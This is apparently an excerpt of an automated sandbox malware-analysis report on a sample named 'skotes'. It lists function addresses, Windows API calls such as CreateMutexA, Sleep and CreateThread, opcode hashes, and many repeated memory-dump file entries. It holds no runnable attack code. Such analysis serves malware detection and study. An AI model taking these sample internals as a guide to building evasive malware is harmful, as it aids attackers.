Associated: 00000006.00000002.3559518994.0000000000A22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559714420.0000000000A25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559837415.0000000000A27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560183370.0000000000A28000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560481546.0000000000A29000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560646110.0000000000A2C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561095556.0000000000A4D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561305755.0000000000A4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561305755.0000000000A75000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562119404.0000000000A8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562225946.0000000000A8D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562437345.0000000000AA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562655966.0000000000AA4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3563011884.0000000000AA5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3563591877.0000000000AA8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564331366.0000000000AAA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564461490.0000000000AB9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564614300.0000000000ABA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: InformationTimeZone
String ID: Eastern Standard Time$Eastern Summer Time
API String ID: 565725191-239921721
Opcode ID: a2f0a8f5af6b3f076ab3b3bd2cf090c94b51498d2bb4c9ec2affac30a14a77cb
Instruction ID: c9b9ee9e23a42d6631eaf54560a812f8c1070ef50a1a15fee0cb42cffb812489
Opcode Fuzzy Hash: a2f0a8f5af6b3f076ab3b3bd2cf090c94b51498d2bb4c9ec2affac30a14a77cb
Instruction Fuzzy Hash: 94512A72901259EFDB10EF6ACC459AE77BCFF48310F11426AE510E7293E7789E528B50

Function 007A7590 Relevance: 4.7, APIs: 3, Instructions: 158sleepthreadCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000064,3FA4AC3E,?,00000000,007E9138,000000FF), ref: 007A75CC
CreateThread.KERNEL32(00000000,00000000,007A7430,00808638,00000000,00000000,?,?,?,?,?,?,?,?), ref: 007A76BE
Sleep.KERNEL32(000001F4,?,?,?,?,?,?,?,?,?,?,?,?), ref: 007A76C9

Part of subcall function 007BD0C7: RtlWakeAllConditionVariable.NTDLL ref: 007BD17B

Memory Dump Source

Source File: 00000006.00000002.3542500693.00000000007A1000.00000040.00000001.01000000.00000007.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000006.00000002.3540934783.00000000007A0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3542500693.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3543645819.0000000000809000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3543849521.000000000080B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3544147667.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3544884051.0000000000816000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3545529517.0000000000817000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3548987152.000000000096C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549203550.000000000096F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549750910.0000000000989000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549750910.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3550871572.0000000000999000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3551681102.000000000099B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3552990004.000000000099D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3554243018.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3554866861.00000000009A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555136246.00000000009AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555342528.00000000009AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555530882.00000000009AC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555754783.00000000009AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555975217.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556155342.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556468550.00000000009BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556671455.00000000009C6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3557387645.00000000009D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3557804597.00000000009EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558054687.00000000009F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558438132.00000000009FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558626776.0000000000A00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558774157.0000000000A08000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559006189.0000000000A0A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559283374.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559403402.0000000000A19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559518994.0000000000A22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559714420.0000000000A25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559837415.0000000000A27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560183370.0000000000A28000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560481546.0000000000A29000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560646110.0000000000A2C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561095556.0000000000A4D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561305755.0000000000A4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561305755.0000000000A75000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562119404.0000000000A8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562225946.0000000000A8D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562437345.0000000000AA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562655966.0000000000AA4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3563011884.0000000000AA5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3563591877.0000000000AA8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564331366.0000000000AAA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564461490.0000000000AB9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564614300.0000000000ABA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: Sleep$ConditionCreateThreadVariableWake
String ID:
API String ID: 79123409-0
Opcode ID: 95d46d15aa4f97b674f8462a4f52fe5e5fecf8deb9938fba4fefdedc26aa788b
Instruction ID: 8b8dfcbbc736ce16c831e9babc8902a73460b18c18a9f1e95d4695af37bc1996
Opcode Fuzzy Hash: 95d46d15aa4f97b674f8462a4f52fe5e5fecf8deb9938fba4fefdedc26aa788b
Instruction Fuzzy Hash: 7F51EF71200648EBEB98DF28CC89B8C3BA5FB55304F504629F865873D1EB7E9884CB95

Function 007A9BA5 Relevance: 4.6, APIs: 3, Instructions: 140sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 007A9BA8
Sleep.KERNEL32(00000064,?), ref: 007AA963
CreateMutexA.KERNEL32(00000000,00000000,00803254), ref: 007AA981

Memory Dump Source

Source File: 00000006.00000002.3542500693.00000000007A1000.00000040.00000001.01000000.00000007.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000006.00000002.3540934783.00000000007A0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3542500693.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3543645819.0000000000809000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3543849521.000000000080B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3544147667.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3544884051.0000000000816000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3545529517.0000000000817000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3548987152.000000000096C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549203550.000000000096F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549750910.0000000000989000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549750910.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3550871572.0000000000999000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3551681102.000000000099B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3552990004.000000000099D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3554243018.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3554866861.00000000009A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555136246.00000000009AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555342528.00000000009AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555530882.00000000009AC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555754783.00000000009AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555975217.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556155342.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556468550.00000000009BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556671455.00000000009C6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3557387645.00000000009D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3557804597.00000000009EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558054687.00000000009F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558438132.00000000009FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558626776.0000000000A00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558774157.0000000000A08000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559006189.0000000000A0A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559283374.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559403402.0000000000A19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559518994.0000000000A22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559714420.0000000000A25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559837415.0000000000A27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560183370.0000000000A28000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560481546.0000000000A29000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560646110.0000000000A2C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561095556.0000000000A4D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561305755.0000000000A4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561305755.0000000000A75000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562119404.0000000000A8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562225946.0000000000A8D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562437345.0000000000AA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562655966.0000000000AA4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3563011884.0000000000AA5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3563591877.0000000000AA8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564331366.0000000000AAA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564461490.0000000000AB9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564614300.0000000000ABA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: a40c09999f1de7f86847147d6b67ccf5e39160df08c3122392bcc2b27c77d52c
Instruction ID: eb78d14e62d65e961dbdb20a0f5dd3d416d4645733d43af352da3ca802bb21fe
Opcode Fuzzy Hash: a40c09999f1de7f86847147d6b67ccf5e39160df08c3122392bcc2b27c77d52c
Instruction Fuzzy Hash: 65312771700100DBEB18AB78DC897AEB7A2AFC6314F248319E014972D6DB7D9981C761

Function 007A9CDA Relevance: 4.6, APIs: 3, Instructions: 139sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 007A9CDD
Sleep.KERNEL32(00000064,?), ref: 007AA963
CreateMutexA.KERNEL32(00000000,00000000,00803254), ref: 007AA981

Memory Dump Source

Source File: 00000006.00000002.3542500693.00000000007A1000.00000040.00000001.01000000.00000007.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000006.00000002.3540934783.00000000007A0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3542500693.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3543645819.0000000000809000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3543849521.000000000080B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3544147667.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3544884051.0000000000816000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3545529517.0000000000817000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3548987152.000000000096C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549203550.000000000096F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549750910.0000000000989000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549750910.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3550871572.0000000000999000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3551681102.000000000099B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3552990004.000000000099D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3554243018.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3554866861.00000000009A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555136246.00000000009AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555342528.00000000009AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555530882.00000000009AC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555754783.00000000009AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555975217.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556155342.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556468550.00000000009BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556671455.00000000009C6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3557387645.00000000009D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3557804597.00000000009EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558054687.00000000009F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558438132.00000000009FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558626776.0000000000A00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558774157.0000000000A08000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559006189.0000000000A0A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559283374.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559403402.0000000000A19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559518994.0000000000A22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559714420.0000000000A25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559837415.0000000000A27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560183370.0000000000A28000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560481546.0000000000A29000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560646110.0000000000A2C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561095556.0000000000A4D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561305755.0000000000A4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561305755.0000000000A75000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562119404.0000000000A8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562225946.0000000000A8D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562437345.0000000000AA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562655966.0000000000AA4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3563011884.0000000000AA5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3563591877.0000000000AA8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564331366.0000000000AAA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564461490.0000000000AB9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564614300.0000000000ABA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: 372dd102ae8579a7322edb208399eb8e3e74a8c2ede225a7823d34f56497ec34
Instruction ID: 0103c30deaeb31451668ca97ca7d0e7253a6bc43abb3358395fa64b35cc88d60
Opcode Fuzzy Hash: 372dd102ae8579a7322edb208399eb8e3e74a8c2ede225a7823d34f56497ec34
Instruction Fuzzy Hash: A7311331704100DBEF18ABB8DC887ADB762EFC6314F248719E114AB2D5DB3DA995C751

Function 007A9F44 Relevance: 4.6, APIs: 3, Instructions: 137sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 007A9F47
Sleep.KERNEL32(00000064,?), ref: 007AA963
CreateMutexA.KERNEL32(00000000,00000000,00803254), ref: 007AA981

Memory Dump Source

Source File: 00000006.00000002.3542500693.00000000007A1000.00000040.00000001.01000000.00000007.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000006.00000002.3540934783.00000000007A0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3542500693.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3543645819.0000000000809000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3543849521.000000000080B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3544147667.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3544884051.0000000000816000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3545529517.0000000000817000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3548987152.000000000096C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549203550.000000000096F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549750910.0000000000989000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549750910.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3550871572.0000000000999000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3551681102.000000000099B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3552990004.000000000099D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3554243018.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3554866861.00000000009A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555136246.00000000009AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555342528.00000000009AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555530882.00000000009AC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555754783.00000000009AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555975217.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556155342.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556468550.00000000009BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556671455.00000000009C6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3557387645.00000000009D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3557804597.00000000009EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558054687.00000000009F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558438132.00000000009FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558626776.0000000000A00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558774157.0000000000A08000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559006189.0000000000A0A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559283374.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559403402.0000000000A19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559518994.0000000000A22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559714420.0000000000A25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559837415.0000000000A27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560183370.0000000000A28000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560481546.0000000000A29000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560646110.0000000000A2C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561095556.0000000000A4D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561305755.0000000000A4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561305755.0000000000A75000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562119404.0000000000A8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562225946.0000000000A8D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562437345.0000000000AA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562655966.0000000000AA4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3563011884.0000000000AA5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3563591877.0000000000AA8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564331366.0000000000AAA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564461490.0000000000AB9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564614300.0000000000ABA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: 316f8a55d2c8eda6b30f6eef2f81353d5367aa9401734905dc648fae3e1a863c
Instruction ID: 817b22e3d8b76ecdfb0c448433a045988822952d8ef87ada25933939272acf13
Opcode Fuzzy Hash: 316f8a55d2c8eda6b30f6eef2f81353d5367aa9401734905dc648fae3e1a863c
Instruction Fuzzy Hash: F5310931700104EFEB18AB68DC897ADB762EFC6314F248719E018D72D5E73D5985C752

Function 007AA079 Relevance: 4.6, APIs: 3, Instructions: 136sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 007AA07C
Sleep.KERNEL32(00000064,?), ref: 007AA963
CreateMutexA.KERNEL32(00000000,00000000,00803254), ref: 007AA981

Memory Dump Source

Source File: 00000006.00000002.3542500693.00000000007A1000.00000040.00000001.01000000.00000007.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000006.00000002.3540934783.00000000007A0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3542500693.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3543645819.0000000000809000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3543849521.000000000080B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3544147667.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3544884051.0000000000816000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3545529517.0000000000817000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3548987152.000000000096C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549203550.000000000096F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549750910.0000000000989000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549750910.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3550871572.0000000000999000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3551681102.000000000099B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3552990004.000000000099D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3554243018.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3554866861.00000000009A9000.00000080.00000001.01000000.00000007.sdmpDownload File
